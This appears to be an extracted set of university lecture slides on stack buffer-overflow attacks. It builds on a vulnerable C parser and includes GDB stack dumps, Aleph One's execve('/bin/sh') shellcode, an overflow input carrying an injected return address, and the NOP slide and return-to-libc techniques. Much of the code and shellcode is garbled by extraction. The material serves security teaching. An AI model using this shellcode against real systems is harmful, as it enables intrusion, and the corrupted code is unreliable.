Software Security (I): Buffer-overflow Attacks
Logistics

• New office hour

• Webcast
  – Calcentral: select cs161
Intro

CLIENT

HTTP REQUEST

HTTP RESPONSE

CLIENT ATTACKER

EXPLOIT

SERVER

Remote Shell

Dawn Song
Linux (32-bit) process memory layout

- Reserved for Kernel
- user stack
- shared libraries
- run time heap
- static data segment
- text segment (program)
- unused

$esp

brk

Loaded from exec

-0xFFFFFFFF
-0xC0000000
-0x40000000
-0x08048000
-0x00000000
int parse(FILE *fp) {
  char buf[5], *url, cmd[128];
  fread(cmd, 1, 128, fp);
  int header_ok = 0;
  if (cmd[0] == 'G')
    if (cmd[1] == 'E')
      if (cmd[2] == 'T')
        if (cmd[3] == ' ')
          header_ok = 1;
  if (!header_ok) return -1;
  url = cmd + 4;
  copy_lower(url, buf);
  printf("Location is %s\n", buf);
  return 0; }

void copy_lower (char* in, char* out) {
  int i = 0;
  while (in[i]!='\0' && in[i]!='\n') {
    out[i] = tolower(in[i]);
    i++;
  }
  out[i] = '\0';
}
Viewing Stack Frame with GDB

Compile:
```
gcc -g parse.c -o parse
```

Run:
```
./parse
```

Debug:
We can debug using gdb.
```
gdb parse
```
Then we can take a look at the stack.
```
(gdb) break 7
(gdb) run
(gdb) x/64x $esp
```

Our example modified to include a main function

```
/** main to load a file and run parse */
```
Viewing Stack Frame with GDB

Debug:
(gdb) x/64x $esp

Our running example modified to illustrate multiple stack frames

Parse.c
What are buffer overflows?

```c
int parse(FILE *fp) {
  char buf[5], *url, cmd[128];
  fread(cmd, 1, 128, fp);
  int header_ok = 0;
  url = cmd + 4;
  copy_lower(url, buf);
  printf("Location is %s\n", buf);
  return 0;
}
```

```c
void copy_lower (char* in, char* out) {
  int i = 0;
  while (in[i]!='\0' && in[i]!='\n') {
    out[i] = tolower(in[i]);
    i++;
  }
  out[i] = '\0';
}
```

Matrix showing memory allocation and usage: Parse's frame, copy_lower's frame.
What are buffer overflows?

```c
int parse(FILE *fp) {
  char buf[5], *url, cmd[128];
  fread(cmd, 1, 128, fp);
  int header_ok = 0;
  url = cmd + 4;
  copy_lower(url, buf);
  printf("Location is %s\n", buf);
  return 0; }

void copy_lower (char* in, char* out) {
  int i = 0;
  while (in[i]!='\0' && in[i]!='\n') {
    out[i] = tolower(in[i]);
    i++;
  }
  out[i] = '\0';
}
```

**file (input file)**

GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
What are buffer overflows?

```c
int parse(FILE *fp) {
    char buf[5], *url, cmd[128];
    fread(cmd, 1, 128, fp);
    int header_ok = 0;
    url = cmd + 4;
    copy_lower(url, buf);
    printf("Location is %s\n", buf);
    return 0;
}

void copy_lower (char* in, char* out) {
    int i = 0;
    while (in[i]!="\0" && in[i]!="\n") {
        out[i] = tolower(in[i]);
        i++;
    }
    out[i] = '0';
}
```

**parse.c**

```
GET
```

**file (input file)**

```
BREAK
```

```
0xbffff760
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
0xbffff738
0xbffff734
0xbffff730
0xbffff72c
0xbffff728
0xbffff724
0xbffff720
0xbffff71c
0xbffff718
0xbffff714
0xbffff710
0xbffff70c
0xbffff708
0xbffff704
0xbffff700
0xbffff6f8
0xbffff6f4
0xbffff6f0
0xbffff6e8
0xbffff6e4
0xbffff6e0
0xbffff6d8
0xbffff6d4
0xbffff6d0
0xbffff6c8
0xbffff6c4
0xbffff6c0
0xbffff6b8
0xbffff6b4
0xbffff6b0
0xbffff6a8
0xbffff6ac
0xbffff6a4
0xbffff6a0
0xbffff69c
0xbffff698
0xbffff694
0xbffff690
0xbffff68c
0xbffff688
0xbffff684
0xbffff680
0xbffff67c
0xbffff678
0xbffff674
0xbffff670
0xbffff66c
0xbffff668
0xbffff664
0xbffff660
0xbffff65c
0xbffff658
0xbffff654
0xbffff650
0xbffff64c
0xbffff648
0xbffff644
0xbffff640
0xbffff63c
0xbffff638
0xbffff634
0xbffff630
0xbffff62c
0xbffff628
0xbffff624
0xbffff620
0xbffff61c
0xbffff618
0xbffff614
0xbffff610
0xbffff60c
0xbffff608
0xbffff604
0xbffff600
```

**Unallocated**
What are buffer overflows?

parse.c

```c
1: void copy_lower (char* in, char* out) {
2:     int i = 0;
3:     while (in[i]!='\0' && in[i]!='\n')
4:         out[i] = tolower(in[i]);
5:         i++;
6:     out[i] = '\0';
7: }
8:
9: fread(cmd, 1, 128, fp);
10: int header_ok = 0;
11: }
12: url = cmd + 4;
13: copy_lower(url, buf);
14: printf("Location is %s\n", buf);
15: return 0;
16: }
```

**main to load a file and run parse */

```c
23: int parse(FILE *fp) {
10:  char buf[5], *url, cmd[128];
11:  fread(cmd, 1, 128, fp);
12:  int header_ok = 0;
13:  url = cmd + 4;
14:  copy_lower(url, buf);
15:  printf("Location is %s\n", buf);
16:  return 0; }
```

file (input file)

GET

AAA

Unallocated
What are buffer overflows?

```c
1: void copy_lower (char* in, char* out)
2: {
3:   int i = 0;
4:   while (in[i]!="\0" && in[i]!=\n")
5:   { out[i] = tolower(in[i]);
6:     i++;
7:   }
8:   out[i] = \0;
9: }
10: char buf[5], *url, cmd[128];
11: fread(cmd, 1, 128, fp);
12: int header_ok = 0;
13: url = cmd + 4;
14: copy_lower(url, buf);
15: printf("Location is %s\n", buf);
16: return 0; }
```

---

**parse.c**

```
1: void copy_lower (char* in, char* out)
2: {
3:   int i = 0;
4:   while (in[i]!="\0" && in[i]!=\n")
5:   { out[i] = tolower(in[i]);
6:     i++;
7:   }
8:   out[i] = \0;
9: }
10: char buf[5], *url, cmd[128];
11: fread(cmd, 1, 128, fp);
12: int header_ok = 0;
13: url = cmd + 4;
14: copy_lower(url, buf);
15: printf("Location is %s\n", buf);
16: return 0; }
```
What are buffer overflows?

```c
1: void copy_lower(char* in, char* out) {
2:   int i = 0;
3:   while (in[i]!='\0' && in[i]!='\n') {
4:     out[i] = tolower(in[i]);
5:     i++;
6:   }
7:   out[i] = '\0';
8: }
9: char buf[5], *url, cmd[128];
10: fread(cmd, 1, 128, fp);
11: int header_ok = 0;
12: url = cmd + 4;
13: copy_lower(url, buf);
14: printf("Location is %s\n", buf);
15: return 0; }
```

```c
1: /** main to load a file and run
parse */
```

```
0xbffff760
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
0xbffff6c4
0xbffff6c0
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
0x00000004
```

```
0xbffff740
0xbffff74c
0x080485a2
0xbffff758
0xbffff75c
0xbffff6c4
0x00000001
0xbef2061
0x61616161
0x00000000
0x41414141
0x20545454
```

```
0xbffff6b4
0xbffff6b0
0xbffff6a8
0xbffff69c
```

```
Unallocated
```

**parse.c**

**file** (input file)

GET AAAAAA

```
0xbffff74a2
0xbffff74c
0xbffff75c
0xbffff758
0xbffff744
0xbffff740
0xbffff73c
0xbffff6c4
0xbffff6c0
0xbffff6b4
0xbffff6b0
0xbffff6a8
0xbffff69c
```

```
Unallocated
```

**Command-line:**

```
GET AAAAAA
```

**Output:**

```
Location is Unallocated
```
What are buffer overflows?

```c
9: int parse(FILE *fp) {
10:  char buf[5], *url, cmd[128];
11:  fread(cmd, 1, 128, fp);
12:  int header_ok = 0;
13:  url = cmd + 4;
14:  copy_lower(url, buf);
15:  printf("Location is %s\n", buf);
16:  return 0; }
```

Uh oh….
What are buffer overflows?

```c
9: int parse(FILE *fp) {
10:  char buf[5], *url, cmd[128];
11:  fread(cmd, 1, 128, fp);
12:  int header_ok = 0;

19:  url = cmd + 4;
20:  copy_lower(url, buf);
21:  printf("Location is %s\n", buf);
22:  return 0; }
```

```c
2:  int i = 0;
3:  while (in[i]!="\0" && in[i]!="\n")
4:    out[i] = tolower(in[i]);
5:    i++;
6: }
7: out[i] = "\0";
8:}
```

Uh oh…. 
What are buffer overflows?

```c
1: void copy_lower (char* in, char* out) {
  2:   int i = 0;
  3:   while (in[i] != '0' && in[i] != '\n')
  4:     out[i] = tolower(in[i]);
  5:     i++;
  6: }
  7: out[i] = '0';
  8: }
10: char buf[5], *url, cmd[128];
11: fread(cmd, 1, 128, fp);
12: int header_ok = 0;
  ...
19: url = cmd + 4;
20: copy_lower(url, buf);
21: printf("Location is %s\n", buf);
22: return 0; }
```

Uh oh....
What are buffer overflows?

parse.c

```c
void copy_lower (char* in, char* out) {
    int i = 0;
    while (in[i]!='\0' && in[i]!='\n')
        out[i] = tolower(in[i]);
    i++;
    out[i] = '\0';
}
```

```c
int parse(FILE *fp) {
    char buf[5], *url, cmd[128];
    fread(cmd, 1, 128, fp);
    int header_ok = 0;
    url = cmd + 4;
    copy_lower(url, buf);
    printf("Location is %s\n", buf);
    return 0; }
```

Uh oh....
What are buffer overflows?

```
int i = 0;
while (in[i] != '\0' && in[i] != '\n')
{
    out[i] = tolower(in[i]);
    i++;
    out[i] = '\0';
}
```

Uh oh....
What are buffer overflows?

```c
1: void copy_lower (char* in, char* out) {
2:   int i = 0;
3:   while (in[i]!=‘0’ &amp;&amp; in[i]!=‘\n’)
4:       out[i] = tolower(in[i]);
5:       i++;
6:   }
7:   out[i] = ‘\0’;
8: }
9: char buf[5], *url, cmd[128];
10: fread(cmd, 1, 128, fp);
11: int header_ok = 0;
12: url = cmd + 4;
13: copy_lower(url, buf);
14: printf(“Location is %s\n”, buf);
15: return 0;
16: }
```

And when you try to return from parse...

... SEGFAULT, since 0x61616161 is not a valid location to return to.
Basic Stack Exploit

• Overwriting the return address allows an attacker to redirect the flow of program control
• Instead of crashing, this can allow arbitrary code to be executed
  – Code segment called “shellcode”
• Example: the execve system call is used to execute a file
  – With the correct permissions, execve(“/bin/sh”) can be used to obtain a root-level shell.
Shellcode of execve

• How to develop shellcode that runs as execve("/bin/sh")?

```c
void main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}
```

(disassembly of execve call)*

0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp, %ebp
0x80002bf <__execve+3>: pushl  %ebx
0x80002c0 <__execve+4>: movl   $0xb, %eax
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
0x80002c8 <__execve+12>:        movl  0xc(%ebp),%ecx
0x80002cb <__execve+15>:        movl  0x10(%ebp),%edx
0x80002ce <__execve+18>:        int $0x80

The procedure prelude.

Copy 0xb (11 decimal) onto the stack. This is the index into the syscall table. 11 is execve.

Copy the address of "/bin/sh" into EBX.

Copy the address of name[] into ECX.

Copy the address of the null pointer into EDX.

"xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xc0\x8d\x80\x31\xd8\x89\xda8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"

*For more details, refer to Smashing the stack by aleph one

Dawn Song
Basic Stack Exploit

So suppose we overflow with a string that looks like the assembly of:

**Shell Code:**

```
exec("/bin/sh")
```

When the function exits, the user gets shell !!!

Note: shellcode runs in stack.

(exact shell code by Aleph One)
Basic Stack Exploit

```
#include <stdlib.h>
#include <string.h>

int parse(FILE *fp) {
    char buf[5], *url, cmd[128];
    fread(cmd, 1, 128, fp);
    int header_ok = 0;

    url = cmd + 4;
    copy_lower(url, buf);
    printf("Location is %s\n", buf);
    return 0;
}

void copy_lower (char* in, char* out)
{
    int i = 0;
    while (in[i]!='\0' && in[i]!='\n')
        out[i] = tolower(in[i]);
    i++;
    buf[i] = '\0';
}
```

```c
void copy_lower (char* in, char* out)
{
    int i = 0;
    while (in[i]!='\0' && in[i]!='\n')
    {
        out[i] = tolower(in[i]);
        i++;
    }
    buf[i] = '\0';
}
```
Basic Stack Exploit

```c
1: void copy_lower (char* in, char* out) {
2:   int i = 0;
3:   while (in[i]!={'0' && in[i]!={'n'})
4:   out[i] = tolower(in[i]);
5:   i++;
6: }
7: buf[i] = {'0';
8: }
9: char buf[5], *url, cmd[128];
10: fread(cmd, 1, 128, fp);
11: int header_ok = 0;
12: copy_lower(url, buf);
13: printf("Location is %s\n", buf);
14: return 0; }
```

```c
1: void copy_lower (char* in, char* out)
2: 
3: int i = 0;
4: while (in[i]!={0 && in[i]!={'n'})
5: out[i] = tolower(in[i]);
6: i++;
7: buf[i] = {'0';
8: }
9: char buf[5], *url, cmd[128];
10: fread(cmd, 1, 128, fp);
11: int header_ok = 0;
12: copy_lower(url, buf);
13: printf("Location is %s\n", buf);
14: return 0; }
```

**file (input file)**

GET
```
AAAAAA
```

**parse.c**

```
1: void copy_lower (char* in, char* out) {
2:   int i = 0;
3:   while (in[i]!={'0' && in[i]!={'n'})
4:   out[i] = tolower(in[i]);
5:   i++;
6: }
7: buf[i] = {'0';
8: }
9: char buf[5], *url, cmd[128];
10: fread(cmd, 1, 128, fp);
11: int header_ok = 0;
12: copy_lower(url, buf);
13: printf("Location is %s\n", buf);
14: return 0; }
```

```c
1: void copy_lower (char* in, char* out)
2: 
3: int i = 0;
4: while (in[i]!={0 && in[i]!={'n'})
5: out[i] = tolower(in[i]);
6: i++;
7: buf[i] = {'0';
8: }
9: char buf[5], *url, cmd[128];
10: fread(cmd, 1, 128, fp);
11: int header_ok = 0;
12: copy_lower(url, buf);
13: printf("Location is %s\n", buf);
14: return 0; }
```

**OVERWRITE POINT!**

```
0xbffff760 0x0804a008 ← fp
0xbffff75c 0x08048564 ← return address
0xbffff758 0x61616161 ← stack frame ptr
0xbffff74c 0x61616161
0xbffff748 0x61616161
0xbffff744 0x61616161
0xbffff740 0x61616161
0xbffff73c 0x00000000
0xbffff738 0x04141414
0xbffff7d8 0xbffff764
0xbffff6c4 0xbffff7d8
0xbffff6c0 0xbffff6c4
```

```
0xbffff6b4 0xbffff740
0xbffff6b0 0xbffff6c4
0xbffff6ac 0x080485a2
0xbffff6a8 0xbffff758
0xbffff6a8 0x00000019
0xbffff69c
```

**Unallocated**
Basic Stack Exploit

```c
1: void copy_lower (char* in, char* out) {
2:   int i = 0;
3:   while (in[i]!="\0" && in[i]!=\'\n\')
4:   out[i] = tolower(in[i]);
5:   i++;
6: }
7: buf[i] = \'\0\';
8: }
9: url = cmd + 4;
10: copy_lower(url, buf);
11: printf("Location is %s\n", buf);
12: return 0;
}
```

```c
1: int parse(FILE *fp) {
2:  char buf[5], *url, cmd[128];
3:  fread(cmd, 1, 128, fp);
4:  int header_ok = 0;
5:  url = cmd + 4;
6:  copy_lower(url, buf);
7:  printf("Location is %s\n", buf);
8:  return 0;
9: }
```
Basic Stack Exploit

**parse.c**

```c
1: void copy_lower (char* in, char* out) {
    int i = 0;
3:   while (in[i]!='\0' && in[i]!=')
    { 4:     out[i] = tolower(in[i]);
5:       i++;
6:   } 7:   buf[i] = '\0';
8: }
10: char buf[5], *url, cmd[128];
11: fread(cmd, 1, 128, fp);
12: int header_ok = 0;
19: url = cmd + 4;
20: copy_lower(url, buf);
21: printf("Location is %s\n", buf);
22: return 0; }
```

```c
23: /** main to load a file and run
parse */
```

**GET (input file)**

```
GET
AAAAA
```

**file**

## OVERWRITE POINT!

```
0xbffff760 0x0804a008 ← fp
0xbffff75c 0x08fff764 ← return address
0xbffff758 0x61616161 ← stack frame ptr
0xbffff74c 0x61616161
0xbffff748 0x61616161
0xbffff744 0x61616161
0xbffff740 0x00000000
0xbffff73c 0xff
0xbffff738 0xbffff74c
0xbffff748 0xbffff744
0xbffff744 0xbffff740
0xbffff740 0xbffff73c
```

```
0xbffff6b4 0xbffff740 ← out
0xbffff6b0 0xbffff6c4 ← in
0xbffff6ac 0xbffff745
0xbffff6a8 0xbffff758 ← return address
0xbffff6a8 0x00000019 ← stack frame ptr
0xbffff69c ← i
Unallocated
```
Basic Stack Exploit

parse.c

1: void copy_lower (char* in, char* out) {
  2:   int i = 0;
  3:   while (in[i]!="\0" && in[i]!="\n")
  4:     out[i] = tolower(in[i]);
  5:     i++;
  6: }
  7:   buf[i] = '\0';
  8: }

10: char buf[5], *url, cmd[128];
11: fread(cmd, 1, 128, fp);
12: int header_ok = 0;
19: url = cmd + 4;
20: copy_lower(url, buf);
21: printf("Location is %s\n", buf);
22: return 0; }

/** main to load a file and run parse */

file (input file)

GET
AAAAAAAAAAAAAAAAAAAAAAAAAAA\x64\xf7\xff\xff\xff
AAAA\x0e|x1f|x5e|x89|x76|x08|x31|x08|x88|x46\x46\x0c\x0b\x0b\x89\x8d|x4e\x08|x8d|x56\x0c|x80|x31|x89|x89|x89|x40|xcd|x80|exe8|x0c|x0f|xff|xff|xff/bin/sh

Unallocated
Basic Stack Exploit

parse.c

```c
void copy_lower (char* in, char* out) {
    int i = 0;
    while (in[i] != '0' && in[i] != '\n') {
        out[i] = tolower(in[i]);
        i++;
    }
    buf[i] = '\0';
}

int parse(FILE *fp) {
    char buf[5], *url, cmd[128];
    fread(cmd, 1, 128, fp);
    int header_ok = 0;
    url = cmd + 4;
    copy_lower(url, buf);
    printf("Location is %s\n", buf);
    return 0;
}
```

/** main to load a file and run parse */
The NOP Slide

Problem: how does attacker determine return address?

Solution: NOP slide
- Guess approximate stack state when the function is called
- Insert many NOPs before Shell Code

Shellcode

NOP
NOP

To the instruction at which this function was called

Stack frame pointer
Buffer
Arguments
Return address
To previous stack frame pointer

Shellcode

NOP
NOP

crafted return address

Buffer
```c
void copy_lower (char* in, char* out) {
    int i = 0;
    while (in[i]!={'0' || in[i]!={'\n'})
    { 
        out[i] = tolower(in[i]);
        i++;
    }
    buf[i] = {'\0'};
    return 0;
}
```
More on Stack Smashing

• Some complications on Shellcode:
  – Overflow should not crash program before the frame’s function exits
  – Shellcode may not contain the ‘\0’ character if copied using strcpy functions.

• Sample remote stack smashing overflows:
  – (2007) Overflow in Windows animated cursors (ANI)
Issues in string operations in libc functions

- Many unsafe libc functions
  - `strcpy` (char *dest, const char *src)
  - `strcat` (char *dest, const char *src)
  - `gets` (char *s)
  - `scanf` (const char *format, ...) and many more.

- “Safe” libc versions `strncpy()`, `strncat()` are misleading
  - e.g. `strncpy()` may leave string unterminated.

- Windows C run time (CRT):
  - `strcpy_s (*dest, DestSize, *src)`: ensures proper termination
General Control Hijacking: Return Address

**overwrite Step:** Overwrite return address to point to your code.

**activate Step:** Return out of frame and into your code.

Dawn Song 34
General Control Hijacking: Local Fn Ptr

**Write Step:** Overwrite local function pointer to point to your code.

**Activate Step:** Call that local function variable.
General Control Hijacking: Function Pointer in the Heap

**Overwrite Step:** Overwrite entries in a vtable for Object T.

**Activate Step:** Call any method from Object T.
**General Control Hijacking:** Function Pointer in the Heap

**Write Step:** Overwrite pointer to vtable on heap to point to a crafted vtable.

**Activate Step:** Call any method from Object T
Attack: return-to-libc (arc injection)

- Control hijacking without executing code

- Return address
- Stack frame pointer
- Buffer

```
exec()
printf()
"/bin/shell"
```

Dawn Song
General Control Hijacking

Overwrite Step:
Find some way to modify a Control Flow Pointer to point to your shellcode, library entry point, or other code of interest.

Activate Step:
Find some way to activate that modified Control Flow Pointer.
# Instances of Control Hijacking

<table>
<thead>
<tr>
<th>Location in Memory</th>
<th>Control Flow Pointer</th>
<th>How to activate</th>
</tr>
</thead>
<tbody>
<tr>
<td>Stack</td>
<td>Return Address</td>
<td>Return from function</td>
</tr>
<tr>
<td>Stack</td>
<td>Frame Pointer</td>
<td>Return from function</td>
</tr>
<tr>
<td>Stack</td>
<td>Function Pointers as local variables</td>
<td>Reference and call function pointer</td>
</tr>
<tr>
<td>Stack</td>
<td>Exception Handler</td>
<td>Trigger Exception</td>
</tr>
<tr>
<td>Heap</td>
<td>Function pointer in heap (i.e. method of an object)</td>
<td>Reference and call function pointer</td>
</tr>
<tr>
<td>Anywhere</td>
<td>set jmp and long jmp program state buffer</td>
<td>Call long jmp</td>
</tr>
</tbody>
</table>

(stack frame)

Ret Addr
Frame Pldr
exception handlers
local fn ptrs
buf

Object
vtable
method
method
method
FP1:
FP2:
FP3:
FP1:
FP2:
FP3:
buf
data

(HEAP)

(HEAP)

Dawn Song
Exploited Situation:
User types in a password which is long enough to overflow buffer and into the authentication_variable. The user is now unintentionally authenticated.